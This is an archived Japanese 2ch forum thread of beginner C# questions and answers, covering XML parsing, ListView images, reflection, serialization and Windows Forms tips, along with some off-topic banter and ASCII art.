ふらっとC♯(Part5)
レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
NGNG「どんなにくだらないC#プログラミングに関する発言でも誰かが優しくレスをしてくれるスレッド」です。
ほかのスレッドでは恐ろしくて書き込めないような低レベル、もしくは質問者自身なんだか意味がよく分からない質問など、
勇気をもって書き込んでください。
少しずつC#プログラマを名乗るものが現れました。みなさん一緒に勉強しましょう。
前スレッドはこちら
http://pc2.2ch.net/test/read.cgi/tech/1059028988/l50 (Part4)
http://pc2.2ch.net/test/read.cgi/tech/1047210828/l50 (Part3)
http://pc2.2ch.net/test/read.cgi/tech/1035895873/l50 (Part2)
http://pc2.2ch.net/test/read.cgi/tech/1023766485/l50
0002デフォルトの名無しさん
NGNGhttp://pc2.2ch.net/test/read.cgi/tech/1061262958/
@IT Insider.NET
http://www.atmarkit.co.jp/fdotnet/index.html
Insider.NET 会議室 ディレクトリ
http://www.atmarkit.co.jp/fdotnet/index/bbs/index.html
宇宙仮面の C# プログラミング / C# Programming
http://ukamen.hp.infoseek.co.jp/
C#入門
http://black.sakura.ne.jp/~third/cs.html
GotDotNet Japan 掲示板
http://www.gdncom.jp/general/bbs/
どっとねっとふぁん
http://homepage3.nifty.com/dotnetfan/index.html
初めてのC# 〜 覚え書き 〜
http://homepage3.nifty.com/midori_no_bike/CS/
どぼん!の .NET Tips
http://dobon.net/vb/dotnet/
0003デフォルトの名無しさん
NGNGhttp://www.borland.co.jp/csharpbuilder/personal/index.html
.NET Framework 1.1 製品ドキュメント
http://www.microsoft.com/japan/msdn/library/ja/netstart/html/sdkstart.asp
.NET のつぼ
http://hakoten.com/dotnet/
C#入門
http://black.sakura.ne.jp/~third/programming/cs/cs.html
Microsoft .NET入門
http://black.sakura.ne.jp/~third/system/msnet/msnet.html
0004デフォルトの名無しさん
NGNGテキストボックスにIDやパスワードなどを自動的に入力できるソフトを
作っていてる者です。
user32.dllのGetGUIThreadInfo関数を使って
WEBサイトのテキストボックスのキャレット(チカチカするカーソル)
の位置を取得するところまではできたのですが、その取得したキャレット位置に指定した文字
(ID、パスワードなど)を入力(ペースト)する方法が分からず困ってます。
どうすればいいのでしょうか?
0005デフォルトの名無しさん
NGNG方向性がおかしい。DHTML方面から攻めるといい。
0006デフォルトの名無しさん
NGNGhttp://movies.livedoor.com/soft/asx/lin_500.asx
0007デフォルトの名無しさん
NGNGこんなの見たらWindowsのままでいいと思うぞ
0008デフォルトの名無しさん
NGNG寝起き悪いなぁ。
っていうか、マルチポストうぜぇ。
0009デフォルトの名無しさん
NGNGタブブラウザなどでそういうのに対応したスクリプトあるから
参考にしてみたら。
たぶんGetGUIThreadInfoなんか必要ないと思う。
0010デフォルトの名無しさん
NGNGPoint型の座標が含まれているか、
ということを調査する定石があったような気がするのですが
思い出せません。
教えてもらえませんか?
それとももしかして勘違いで自前で
座標を比較して判断するのが普通でしょうか?
よろしくお願いします。
0011デフォルトの名無しさん
NGNGRectangle.Contains使えよ。
プロパティのアクセスはオーバーヘッドがかなり大きいから
自前で実装したらその定石とやらがどんなにすぐれたアルゴリズムでも速度は出ないぞ。
00124
NGNG0013デフォルトの名無しさん
NGNGプロパティのオーバーヘッドってどういう理屈なの?
001410
NGNGばっちりそのもののようです。
ヘルプで見落としたみたいです。
やっぱりあったみたいですね。
ありがとうございます。
>>13
プロパティの値を取得しようとした時に
プロパティのget部分に書いてあるメソッド等が
呼び出されるってことじゃないでしょうか?
私の>>10の例だと対象座標と比較する為になんども
Rectangle型のXメンバやYメンバにアクセスることかな、と思います。
001513
NGNGそういうことか。ありがとう。
0016デフォルトの名無しさん
NGNG1 146 C
2 119 C++
3 90 Java
4 55 PHP
5 44 Ruby
6 32 Perl
7 24 Delphi/Kylix
8 21 Other
9 17 Assembly
10 16 Python
11 13 Objective C <--------C++に敗北して廃棄状態
12 12 C# <--------超負け組み
13 7 Unix Shell
14 5 Tcl
15 5 Lisp
16 4 Visual Basic <--------廃棄処分
0017デフォルトの名無しさん
NGNG0018デフォルトの名無しさん
NGNGついこの間まではコンパイラも何も無くてMSの出した言語概要読んで
( ゚∀゚)イイ!とか(;´Д`)なんじゃそりゃとか思いながら
出るのを楽しみにしてたってのに。
0019デフォルトの名無しさん
NGNG馬鹿ですか?
0020デフォルトの名無しさん
NGNG0021デフォルトの名無しさん
NGNG0022デフォルトの名無しさん
NGNG0023デフォルトの名無しさん
NGNGその通り
0024デフォルトの名無しさん
NGNGgoogleで探した限りではいいのがでてこなかったので・・・
0025デフォルトの名無しさん
NGNGif(position>array.Length)//arrayは配列、positionは配列の位置
とある本にあったのですが、
if(position>array.Length-1)
としないと例外が出ます。本が間違っているのでしょうか?
0026デフォルトの名無しさん
NGNGhttp://sourceforge.net/softwaremap/trove_list.php?form_cat=160
1 C (11741 projects)
2 C++ (11528 projects)
3 Java (9854 projects)
4 PHP (7446 projects)
5 Perl (4902 projects)
6 Python (2664 projects)
7 Visual Basic (1556 projects)
8 JavaScript (1378 projects)
9 Delphi/Kylix (1240 projects)
10 Unix Shell (1206 projects)
11 Assembly (1105 projects)
12 C# (1002 projects)
13 PL/SQL (833 projects)
14 Tcl (714 projects)
15 ASP (429 projects)
16 Objective C (396 projects)
17 Lisp (265 projects)
18 Ruby (257 projects)
19 Pascal (254 projects)
20 Assembly (188 projects)
21 Object Pascal (175 projects)
0027デフォルトの名無しさん
NGNG0028デフォルトの名無しさん
NGNGそんな事知るかヴォケ
0029横浜在住
NGNGビジネスアプリ系を扱うお店がなかなかありません
0030デフォルトの名無しさん
NGNGFixedHeight 自動スケールの時にコントロールの幅が固定される
ってあるんですけFixedWidthと逆でしょうか?
0031デフォルトの名無しさん
NGNGMSDNの誤植だろね。
VisualStudio2002のヘルプはちゃんとHeightが高さになってるし。
0032デフォルトの名無しさん
NGNGMSはよくこんなの平気で売れますな。
0033デフォルトの名無しさん
NGNGホレ(´ー`)ノ ⌒ �I
↓
�I ワーーイ
ヽ(゚∀゚)ノ
へ ) ←>>32
>
0034デフォルトの名無しさん
NGNG> 誤植って…。
> MSはよくこんなの平気で売れますな。
いやオンラインの。(2003のヘルプはどうなのかな)
それにそこらの文庫本だって一冊に何カ所かは誤植があって当たり前なんだし。
0035デフォルトの名無しさん
NGNGラーメンにちいさな虫が入ってたら金返せと暴れる性格ですか?
0036デフォルトの名無しさん
NGNG0037デフォルトの名無しさん
NGNGさすがに虫入ってたら怒らないとだめでしょ。
それとも無視?
0038デフォルトの名無しさん
NGNG0039デフォルトの名無しさん
NGNG0040デフォルトの名無しさん
NGNG日本人は一年に3.7匹、フィンランド人は2.4匹。
http://www.mail-archive.com/[email protected]/msg01398.html
0041デフォルトの名無しさん
NGNGC + +
C ++
C++
C#
0042デフォルトの名無しさん
NGNGこれまじで その会社のなんか・・・うれねーな^^;
というかそのCMに出てる社員可愛そうになってくる。。
当初MSのソフトが使えるのがうりだったじゃねーか 妥協すんなw
>>Lindows
0043デフォルトの名無しさん
NGNG画面にListViewがありまして
値を持っているArryList(中身がオブジェクト)をListViewにセットして
あげるという処理は Formにがつがつかかないで 別クラスで独立
させてあげたほうがベストですか?
別にビジネスロジックでもないので もしかして 別クラスに分ける
必要ないのかな?とふときになりまして。。
0044デフォルトの名無しさん
NGNGusing System;←ここと,
namespace hoge
{
using System;←ここ。
//クラスなど
}
二つのusingの位置での違いはなんなのでしょうか?
0045デフォルトの名無しさん
NGNGnamespace System
{
using Windows.Forms; の違い
}
004643
NGNG0047デフォルトの名無しさん
NGNGpublic static void main(String []args){
double sum=0.0;
for(int n=3;n<=99999;n=n+4){
double s=1/(n-2)-(1/n);
sum=sum+s;
}
String y="式の合計は"+sum+"です";
System.out.println(y);
}
}
こんなプログラムを作ってみましたが実行すると1.0になってしまいます。
何故だろう・・・??
0048デフォルトの名無しさん
NGNG馬鹿?
0049デフォルトの名無しさん
NGNGMySQLは3.23.49です。
MySQL winmysqladmin.exeのmy.ini Setupタグで
[mysqld]
default-character-set=sjis
[mysql]
default-character-set=sjis
[mysql-dump]
default-character-set=sjis
と変更し 再起動し、variablesタグの文字コードも変更されています。
同じことをsjisの部分をujisでも試しました。
テーブルからは、「あ」という文字が戻ってくるはずですが、コンソール画面には
「ツ?」と表示されます。
だれか、分かる方はご返事ください。よろしくお願いします。
0050デフォルトの名無しさん
NGNG0051デフォルトの名無しさん
NGNG0052デフォルトの名無しさん
NGNGint main(void)
{
int num,i;
num = 0;
i = 0;
while(num<=4){
while(i<=2){
printf("numは%d:iは%dです。\n",num,i);
i++;
}
num++;
}
return 0;
}
うまく繰り返されないです。
0053デフォルトの名無しさん
NGNG005446
NGNG43の質問に答えてあげてください。
0055デフォルトの名無しさん
NGNGArrayList 型のプロパティをコントロールやフォームに書いて、それをget/setする。
オブジェクトをどのように表示するか(リストコントロールに登録するか)はビューの責任であって、周りからそのプロセスは隠蔽すべき。
0056デフォルトの名無しさん
NGNGV->FORM
だから FORMに表示ロジックを乗っけてしまって
いいということでいいんですね。
0057デフォルトの名無しさん
NGNG0058デフォルトの名無しさん
NGNG>>57
0059デフォルトの名無しさん
NGNGVector a = new Vector();
a.add("1");
a.add("2");
a.add("3");
a.add("4");
a.add("5");
a.add("6");
String[] str= (String[])a.toArray();
for(int i =0;i< str.length;i++){
System.out.println(str[i]);
}
String[] str= (String[])a.toArray();のところで
java.lang.ClassCastException
0060デフォルトの名無しさん
NGNGclass Ts{
static void hoge(){
HashMap hm = new HashMap();
//コンストラクタ化
hm.put("c","1");
hm.put("bc","12");
hm.put("a","3");
}
}
class T{
public static void main(String args[]){
hoge h =Ts.hoge();
System.out.println(h.get("c"));
}
}
上のソースコンパイルするとエラーになります教えてください
G:\java>javac T.java
T.java:16: シンボルを解決できません。
シンボル: クラス hoge
場所 : T の クラス
hoge h =Ts.hoge();
0061デフォルトの名無しさん
NGNGWinAPIのCopyMemory(),MoveMemory()とか
src領域とdst領域がオーバーラップしているか否かで
使い分けが必要だけどさ、その違いって、内部では
どう影響してくるのでしょうか?
rep movsb
にも影響があるの?
0062デフォルトの名無しさん
NGNG0063デフォルトの名無しさん
NGNGdata ABCDEF 2〜5 -> 3〜6 copy する時
data ABBBBB になるか
data ABBCDE になるか の差
0064デフォルトの名無しさん
NGNGこういうことだったんだね
0065デフォルトの名無しさん
NGNGSortingのプロパティをAscendingにすると急にヘッダーが長くなり
ヘッダーを調整しようと思っても動かなくなります。
VSのバグでしょうか?
0066デフォルトの名無しさん
NGNG/´ ` \
,,―‐. r-、 _,--,、 'フ ,......., \
,―-、 .| ./''i、│ r-,,,,,,,,,,,,,,,,,,,,,,,,―ー. ゙l, `"゙゙゙゙゙ ̄^ \ r‐''~´ ,.、 ヽ'" _,..‐,'゙ヾ.´
/ \ ヽ,゙'゙_,/ .゙l、 `i、 \ _,,―ー'''/ .,r'" .| ヽ' └''´,.:‐r''ヽ,
.,,,、.,,i´ .,/^'i、 `'i、`` `--‐'''''''''''''''"'''''''''''゙ `゛ .丿 .,/ └''´> _,.-、 `'´ ∠,,,
{ "" ,/` ヽ、 `'i、 丿 .,/` .ヾヽ''´ '─'''' }
.ヽ、 丿 \ .\ ,/′ 、ヽ,,、 | ,.r、________,r 、 j
゙'ー'" ゙'i、 ‘i、.r-、 __,,,,,,,,--、 / .,/\ `'-,、 `‐'',ゞ---------────‐'´`ヽ´
ヽ .]゙l `゙゙゙゙"゙゙゙゙ ̄ ̄ `'i、 ,/ .,,/ .ヽ \ !、 ノ
゙ヽ_/ .ヽ_.,,,,--―――――ー-ノ_,/゙,,/′ ゙l ," ,ゝ r‐┐ rヮ <´
` ゙‐''"` ゙'ー'" i´ }_」 │ヽ. j
ヽ、 ,人 丿 ヽ._,.ノ
`- ' `ヽ、__/
0067fushianasan
NGNG0068デフォルトの名無しさん
NGNG0069デフォルトの名無しさん
NGNGアルファベットの3文字目。
0070デフォルトの名無しさん
NGNG0071デフォルトの名無しさん
NGNG0072デフォルトの名無しさん
NGNG0073デフォルトの名無しさん
NGNGま た お ま え か
0074デフォルトの名無しさん
NGNG保持しているプロパティって存在しないんですか?
自分で変数を作ってそこに保持するような処理をしないといけないのですか?
0075デフォルトの名無しさん
NGNGさっぱり忘れてるのですが
マウスの座標をPointで取得して
指定したRectangle(フォーム)の中に引数に指定した
Point(マウスの座標)が存在するか、というようなメソッドを使って
できたような。。
0076デフォルトの名無しさん
NGNG0077デフォルトの名無しさん
NGNG無いんでしょうか?
ImageIndexとSelectedImageIndexだとノードを選択しているか否かの状態のみの設定で、
ツリーノード展開したまま別ノードを選択すると結局非選択時のイメージになってしまうんで…。
要はフォルダオープンとクローズのイメージを表示させて、ツリーノードの展開に合わせて
イメージを変更したいんですが、Expand系のイベントを利用して自力書き換えするしか
無いんでしょうかね?
0078デフォルトの名無しさん
NGNGそれでいいんでね。
ttp://santamartadotnet.hp.infoseek.co.jp/releases/samples/fileexplorer.html
0080デフォルトの名無しさん
NGNG0081デフォルトの名無しさん
NGNG女性店員がレジにいるコンビニでチョコを買う
↓
わざとチョコを受け取り忘れて店を出る
↓
女性店員が走って渡しに来る「あの・・・これ・・・」
↓
ちょっぴりバレンタイン気分
0082banban
NGNG出来ればソースもらえたら嬉しいです、全然わかんないんです。
0083デフォルトの名無しさん
NGNGexeファイルへの出力ってどうやったらいいのでしょうか?
0084デフォルトの名無しさん
NGNGわかりません
0085デフォルトの名無しさん
NGNG超ド初心者質問でスマソです
あなたの脳内を読み取るにはどうやったらいいのでしょうか?
0086デフォルトの名無しさん
NGNGcsc /out:hoge.exe hoge.cs
ネタにマジ(ry
0087デフォルトの名無しさん
NGNG英語ページですが。
http://www.c-sharpcorner.com/FAQ/MySqlConnection.asp
要はODBC .Net Data Provider入れてMyODBC入れて云々、らしいです。
サンプルコードはASP.NETですがWinFormでも似たようなものかと思われます。
0088デフォルトの名無しさん
NGNGTimerのインスタンスと同期させる簡単なゲームを作っているのですが
このインスタンスを1000分の1秒単位で一時停止させるにはどうすれば良いのでしょうか?
stopさせると0.000秒に初期化されてしまいます。
pauseというメソッドは無いみたいですが不可能なのでしょうか。
0089デフォルトの名無しさん
NGNGC#(WINアプリ)を勉強していますがクラスについて教えてください。
public class A
{
メソッド1
}
public class B
{
メソッド2
}
この場合、class Aは、class Bのものに対してアクセスできますよね?
これは、class Aのなかでclass Bのメソッド2が使えるということで
しょうか?
もし、使えるなら、class Aの中でオブジェクト = new class Bとして
インスタンスか化してから使うのでしょうか?
0090デフォルトの名無しさん
NGNGclass B のメソッド2が Public であれば、アクセスできます。
static メソッドでなければ、インスタンス化してからでないとアクセスできません。
0091デフォルトの名無しさん
NGNGクラスと関数の使い分けが分りません
こうゆう場合はクラス(関数)にする
っていうお約束なんかあるんですか?
0092デフォルトの名無しさん
NGNG同じプロジェクト内では記述したコメントがヒントに表示されるのですが、クラスライブラリを
参照設定した他のプロジェクトではヒントにコメントが表示されません(引数の型とかはちゃんと
出ます)。コメントまではヒントに出てこない仕様なんでしょうか。その割には System.何とかの
クラスにはちゃんとコメントが出てきますよね。何が違うのか。。。
0093デフォルトの名無しさん
NGNGそれは経験で身に付けるしかない。
一応コツとしては
・名前が付けられるものはクラスにする
・複数あるものはクラスにする
・動作の対象となるものは、その対象自身に仕事をさせる
とかかな?
0094デフォルトの名無しさん
NGNGソースをコンパイルするときにXMLドキュメントファイルを出力しといて、
(コマンドラインコンパイルなら/docオプション)
hoge.dllに対してhoge.xmlって名前でhoge.dllと同じディレクトリに置いてhoge.dllを参照設定。
0096デフォルトの名無しさん
NGNG例えば、以下のXMLファイルを読み込んで、出力するコードを教えてください。
正直、解説見てもわけがわからんです。これなら手で書いたほうが早いです。
◆出力例
一人目 名前「モナ山 茂名」 生年月日「2000年 2月29日」
二人目 名前「ギコ猫 義子」 生年月日「1900年12月31日」
◆XMLファイル
<?xml version="1.0" ?>
<list>
<person>
<name>モナ山 茂名</name>
<birth year="2000" month="2" day="29" />
</person>
(略)
</list>
0097デフォルトの名無しさん
NGNG透過させることってできますか?
0098デフォルトの名無しさん
NGNGMakeTransparent
0099デフォルトの名無しさん
NGNGstring xmlName = @"C:\Documents and Settings\****\XML ファイル名";
XmlDocument xdoc = new XmlDocument();
xdoc.Load(xmlName);
XmlElement elem = xdoc.DocumentElement;
int i = 1;
foreach(XmlNode person in elem.GetElementsByTagName("person"))
{
Console.Write("{0}人目 名前「{1}」 生年月日「{2}年 {3}月{4}日」\n",
i,
person["name"].InnerText,
person["birth"].Attributes["year"].Value,
person["birth"].Attributes["month"].Value,
person["birth"].Attributes["day"].Value);
++i;
}
0100デフォルトの名無しさん
NGNGサンクスコ!foreachでperson要素の数だけループさせて、
personという変数に代入して、personのもつ
name要素の中身、birth要素のyear属性の値・・・を表示させているんですね。
Veryわかりやすい。ありがとうございました
0101デフォルトの名無しさん
NGNGものすごく望みどおりに改造することが簡単だった。ありがとう。
なんかJavaScriptを使ったDOMと同じ感じでできたので簡単だった。
@ITとかで勉強してたけど、こんなに簡単にできるなんて、感動だった。
本当にTHANX!
0102デフォルトの名無しさん
NGNG0103デフォルトの名無しさん
NGNG0104デフォルトの名無しさん
NGNG0105デフォルトの名無しさん
NGNG0106デフォルトの名無しさん
NGNGp.StartInfo.FileName = @"C:\program\katjusha.exe";
p.Start();
という感じで起動した子プロセスのウィンドウを
最小化したり、元に戻したり、隠したりするにはどうしたらいいですか?
起動前ならStartInfoで設定できると思うのですが
0107デフォルトの名無しさん
NGNGそういうことをしたいならやっちゃいけないことをやらなきゃいけなくて、
そうなると.NET以外の方法を使うことになる。
0108デフォルトの名無しさん
NGNGサンクス。となるとC++とか使うしかないんですか?
最小化しかできないソフトを通知領域に入れる(駐在させる)ためのソフトを
作ろうと思ったのですが…。
0109デフォルトの名無しさん
NGNG0110デフォルトの名無しさん
NGNG0111デフォルトの名無しさん
NGNG.NETのクラスライブラリに、プロキシサーバー関係のクラスはあるでしょうか?探したところ、無さそうでした。
ない場合は、System.Net.Sockets名前空間のTcpListenerクラスを使えばいいのでしょうか?
0112デフォルトの名無しさん
NGNGSystem.Net.WebProxyクラス。
0113111
NGNGそのクラスは、こっちからどこかにアクセスするときに利用するプロキシを設定するクラスではないですか?
0114デフォルトの名無しさん
NGNGC/C++で
struct_type s;
char work[256];
memcopy(&s,work,sizeof(struct_type));
みたいなことってC#でどうやってやったらいいんですかね?
0115デフォルトの名無しさん
NGNG0116デフォルトの名無しさん
NGNGPictureBox p =new PictureBox();
Graphics g = p.CreateGraphics();
g.DrawImage(bitmap,new Rectangle(0,0,100,100));
g.Dispose();
という非常によくみられる方法で画像を表示したいが、一瞬画像が現れただけで
すぐに消えます。だから、普段は、p.Image=bitmap のようにプロパティで表示しています。
どーすればGraphicsで表示できますか?
0117デフォルトの名無しさん
NGNG0118デフォルトの名無しさん
NGNGありがとうございます。
確かに一個のフォーム全体に画像を表示するとき、重なっていてもうまく表示できました。
でも、最終的には画像ビューワーのようにサムネイルをたくさん表示したいのです。
そのときOnPaintを何度も呼び出す方法もよくわかりません。
Graphicsで表示したときにずっと表示する方法はないのでしょうか。
できるからこそ、GraphicsのインスタンスをDrawImageするのが一般的描画方法
とされているはずなので。私の場合そもそも一瞬しか表示されません。
なぜ?
0119デフォルトの名無しさん
NGNGOnPaintは自分で呼ぶものじゃなくて(フレームワークから)呼ばれるもの。
0120デフォルトの名無しさん
NGNG必要ですか?サンプルコードもおねがいします
0121デフォルトの名無しさん
NGNG↓この辺り?
C#でDirectX9 初心者の館
http://pc5.2ch.net/test/read.cgi/tech/1069666471/
0122デフォルトの名無しさん
NGNGButtonクラスを25個集めてboardというクラスを作りました。
そこで思うのですが、「全ての色が消えた」というような「審判」の役割は
誰がするのですか? judgmentクラスを作ったとして、
ボタンが押されたというのはjudgmentクラスにどうやって伝えるんでしょう?
0123デフォルトの名無しさん
NGNGひょっとしてVC#使ってない?
0124デフォルトの名無しさん
NGNGVC# 2003ですよ。
今木が付いたけど、mybutton_click見たいな関数から 毎回 審判を呼び出すものですか?
結構無駄が多いような記もしますが、それがOOと考えて良いの?
0125デフォルトの名無しさん
NGNGそうも行かない部分はぜんぜん出来ないでいるからね。
おれも似たような経験がある。
ちなみに答えはeventとdelegateなんだけど、
ビジュアルには行かないkらMSDNみてコード書いてね。
0126デフォルトの名無しさん
NGNGとりあえず.Net Framework 1.1 SDKを拾ってきてインスコしました。
ドキュメントも更新しました。
んだら、PlatformSDKのドキュメントと.NetSDKのドキュメントの
インデックスとコンテンツが表示されなくなってもたんです。
dexploreの仕組みがようわからんので困ったチャンなのです。
VS.Netは金なくてあかんです。
ドキュメントがみずらくてかないません。たちゅけて。
0127デフォルトの名無しさん
NGNGフィルタ?
0128デフォルトの名無しさん
NGNGlistView1.View=View.LargeIcon;
imageList1.ImageSize = new Size(90, 90);
imageList1.Images.Add(Bitmap.FromFile("ファイルのパス"));
listView1.LargeImageList = imageList1;
foreachでimagelistに画像を格納して、listviewにimagelistをくっつけたんですが
画像が表示されません。何か間違ってますか?
0129デフォルトの名無しさん
NGNG色々検索してもDataGridの使い方が分かりません。
[C# DataGrid]とかで検索しても、データベースサーバから読む場合ばっかりで・・・
0130デフォルトの名無しさん
NGNGGotDotNet Japan Student コラム 「XML プログラミングを始めよう」
http://www.gotdotnet.com/japan/student/column/xml/xmlprogramming7.aspx
DataSet の XML 機能
0131デフォルトの名無しさん
NGNG0132デフォルトの名無しさん
NGNG偶然通りかかったので答える。
ListView にアイテムを追加して、イメージインデックスを指定しなきゃ。
あとサムネイルなら GetThumbnailImage で適当に作ってやんなきゃダメじゃん。
SDKドキュメントの"ListView.LargeImageList プロパティ "のとこのコード見てみて。
もう来ないので質問されても答えられないけど、がんばってね。
0133デフォルトの名無しさん
NGNG0134デフォルトの名無しさん
NGNG別に最後までずっと相手してあげなきゃならないというわけでもないと思うけど。
だいたい説明すればあとは自分でなんとかするでそ。
0135デフォルトの名無しさん
NGNG0136デフォルトの名無しさん
NGNG0137デフォルトの名無しさん
NGNG0138デフォルトの名無しさん
NGNGそもそもそんなもんを作るなって言語なんでしょうか。
意外と出来ないことが多くてびっくりしてます。
0139デフォルトの名無しさん
NGNGdll内にステップインで入ってデバッグしたいのですが、入れるときと入れないとき
があります。何が原因でしょうか?
dllはグローバル アセンブリ キャッシュにインストールして使っています。
0140139
NGNG0141140
NGNG0142139
NGNGレスありがとうございます。今日やっと分かったのですが
exeと同じところにdllを置いたらできました。
ビルドのオプションでローカルコピーをtrueにしたりfalseに
したりしていたようです。
0143デフォルトの名無しさん
NGNGWindows.FormでGUIアプリを作っているとします。
編集メニューでコピーにCtl+Cを割り当てて、
とあるコントロールにはこのメニュークリックのイベントで
処理したいんだけど、別の(例えば普通のテキストボックス)には
デフォルトのコピー処理をさせたい。
でないとそれぞれのコントロールごとに処理を書くはめになるので。
必要ないコントロールの場合はイベントをスルーすればいいんでしょうが、
どう書けばいいんでしょうか?
0144デフォルトの名無しさん
NGNG0145デフォルトの名無しさん
NGNGあるボタンを押した時から、1000msごとにのこり時刻を
[10秒経過 / 残り170秒] というように表示させたいです
0146デフォルトの名無しさん
NGNG0147デフォルトの名無しさん
NGNG「シンプルな時計」でやってるよ
http://homepage3.nifty.com/midori_no_bike/CS/index.html
0148デフォルトの名無しさん
NGNGきれいにやるならそういうフレームワークを作る
そすると他のでも使える
どこまでやるかは時間次第
0149デフォルトの名無しさん
NGNGVisualStudio2005言語仕様の概要について書かれているホームページがあったら教えてもらえませんか?
0151http:// v019240.ap.plala.or.jp.2ch.net/
NGNG0152デフォルトの名無しさん
NGNGSystem.Console.Write 等の入出力を起動したConsoleアプリの入出力にする方法しりませんか?
0153デフォルトの名無しさん
NGNGどういう意味か良く分からないんだが…
0154デフォルトの名無しさん
NGNGImeModeをOFFにしてみたけど、これじゃ半角英数字になってしまうんです。
0155デフォルトの名無しさん
NGNG0156デフォルトの名無しさん
NGNG俺C#やったことないんだけど、質問してもいい?
みんなC#ってなにに使ってんの?
「ネイティブコード吐けるJava」みたいな認識で買おうか迷ってんだけど、
そんなノリで買ってもいいものなんですか?
0157デフォルトの名無しさん
NGNG0158デフォルトの名無しさん
NGNG10個は買えバカ
0159156
NGNGやっぱASPで使ってんの?
それともクライアントアプリ?
どうなのよ。
0160デフォルトの名無しさん
NGNG0161デフォルトの名無しさん
NGNG全然違う
> やっぱASPで使ってんの?
ASP.NET か?
> それともクライアントアプリ?
どっちもだろ。
0162156
NGNGあー、「結局どーしてーのよ?」みたいななるわな。
具体的にはC/Sタイプのアプリのクライアント側を何で作るか迷ってるのよ。
仕事の合間の趣味の話だから手ごろそうなC#がいいのかなと。
どんなん作りたいかっていうと、MSメッセンジャーみたいのだと思ってくれればいいな。
>>161
全然違うんか。
今まではクライアントアプリっつーとVCかDelphiか、まぁVBとかだったわな。
VCしかできねーけど。
んでひょっこりでてきたC#はどーなのよと思ってな。
Javaでもいんだけど、インストールの説明に「J2SE1.4ランタイムが必要です」って書くのと、
「.NETFrameforkランタイムが必要です」って書くのとじゃちょっとイメージ違うしな。
0163名無しさん@そうだ選挙に行こう
NGNGhttp://www.terrariumgame.net/terrarium/
0164名無しさん@そうだ選挙に行こう
NGNG次期VS.NET(2005)は単体言語版(C#だけとか)で
Web(ASP.NET)機能を除いたグレードのものが格安で
出るらしいです。
趣味ならこれ使ってC#の非Webアプリを創るのが
非常に快適ではないかと思う。VCできるならなおさら
VB.NETに走る必要もないわけだし。
一つだけ問題があるとすれば、2006〜2007年予定の
次世代Windows(Longhorn)までは.NETFrameworkが
デフォのAPIじゃないことだろう。なのでフリーウェアとか
シェアウェアで早期にアプリを公開するつもりなら
これは向いていない。
0165名無しさん@そうだ選挙に行こう
NGNG0166名無しさん@そうだ選挙に行こう
NGNG0167名無しさん@そうだ選挙に行こう
NGNG0168156
NGNG素敵情報サンクス。
サーバ(C++)とクライアント(Java)で作りつつ、
教えてくれた安価モデルが発売されたらクライアントをC#に移植
みたいな方向で考えてみるよ。
時期OSで.NETFrameworkが標準じゃなくなるってのは寝耳に水だけど、
さすがにバンドルされてないとは考えられないから、
あまりそっちは気にしなくていいかもな。
でもちょっと怖いから調べててみることにする。
マジサンクス!
0169デフォルトの名無しさん
NGNGそんなこと誰も書いてないでしょ
0170デフォルトの名無しさん
NGNGなくなっちゃったよ、せっかくintやらのビット数固定にしたんだから、
その範囲でのみでても付けてもらえると便利っていうか、Cより安全確実でよかったんだけどね。
ちょとさびしい。
頑張ってstruct使ってビットフィールド操作関数作るしかないっすね。
0171デフォルトの名無しさん
NGNGWinFXのことだろ。
0172156
NGNGそれともそーゆーことじゃないのか?
なんにせよいろいろややこしそうだな。
0173デフォルトの名無しさん
NGNGそれの型と同じ型で new をする方法があったら教えてください。
class ClassA() { ... }
class ClassB() { ... }
...
class MyApp
{
void test()
{
object [] list = { new ClassA() , new ClassB() } ;
foreach( object i in list )
{
sub( list[ i ] ) ;
}
}
void sub( object a )
{
「aの型=ClassA/ClassB」 localData = new 「aの型=ClassA/ClassB」() ;
...
}
}
といった事をしたいのですが、System.Reflection を使えばできると聞いたのですが、
分りやすいサンプルがあったらよろしくお願いします。
0174デフォルトの名無しさん
NGNGobject localData = a.GetType().GetConstructor().Invoke( new object [] {} );
0175デフォルトの名無しさん
NGNG有難うございます、助かりました。
0176デフォルトの名無しさん
NGNGでも、実装の仕方としては、class A, B を ICloneable にして Clone() メソッド書くのが普通な気が。
0177デフォルトの名無しさん
NGNGそれでほんとに問題ないのかちゃんと確認した方がいいぞ。
0178デフォルトの名無しさん
NGNGリフレクションの使い方の取っ掛かりが欲しかったので、構わないんです。
コンストラクタ以外にもメソッドを呼び出すときに、もっと複雑なことになるし、この辺りは覚悟していましたし
いずれにしても template が実装されるまでの繋ぎなので。
0179デフォルトの名無しさん
NGNGどうtemplateにからむんでしょう?個人的に興味
0180デフォルトの名無しさん
NGNG0181デフォルトの名無しさん
NGNGC#で簡易telnetを作れという問題です。通信の方法がそもそも分かりません
0182デフォルトの名無しさん
NGNGソケット作れ
0183デフォルトの名無しさん
NGNG0184デフォルトの名無しさん
NGNGTCPで接続してTELNETプロトコル話せばいいだけ
http://www.google.co.jp/search?sourceid=navclient&hl=ja&ie=UTF-8&oe=UTF-8&q=telnet+%E3%83%97%E3%83%AD%E3%83%88%E3%82%B3%E3%83%AB
0185デフォルトの名無しさん
NGNGSystem.Runtime.Serialization.Formatters.Soap.SoapFormatter
で、オブジェクトをXmlにシリアライズする時は ISerializable でカスタマイズできるみたいですが、
System.Xml.Serialization.XmlSerializer
で、オブジェクトをXmlにシリアライズする時でカスタマイズできる方法は無いんでしょうか?
知っている人いますか?
IList を入れていると、XmlSerializerが頑張っちゃって自動的にシリアライズしてしまうみたいで・・・
IListが入っていても普通のクラスのように振舞わせる事はできないのでしょうか?
0186デフォルトの名無しさん
NGNG取りあえず簡単なIListを実装したコレクションを作ったけど普通にシリアライズ・デシリアライズできたぞ。
XmlSerializerは手軽に使えてカスタムしにくいのが特徴なので、まあいろいろ勘案して。
シリアライズ用の別クラスを作るとか。
0187デフォルトの名無しさん
NGNG0188デフォルトの名無しさん
NGNGあぅ、書き損じたんですが、添え字にマイナス値を使えるようにするとアウトなんですよ。
ヘルプを見ると、this[int]インデクサプロパティーを見ているようで、Countとセットで
動作しているみたいなんです。
当然動作するわけも無いのですが、ここでIListを見て勝手に動作されるとちょっと具合が悪いので、
この機能に寝ていてもらいたいのですが、手段が見つからない・・・・
0189デフォルトの名無しさん
NGNGpublic int Add()
{
return 10+10;
}
下のように使うと、Add()の戻り値は変数aに入りますよね。
public void Test()
{
int a = Add();
}
以下の場合だと、Addの戻り値はどこへ格納されるんでしょうか?
publi void Test()
{
Add();
}
0190デフォルトの名無しさん
NGNG0191デフォルトの名無しさん
NGNGint main()
{
10 ;
}
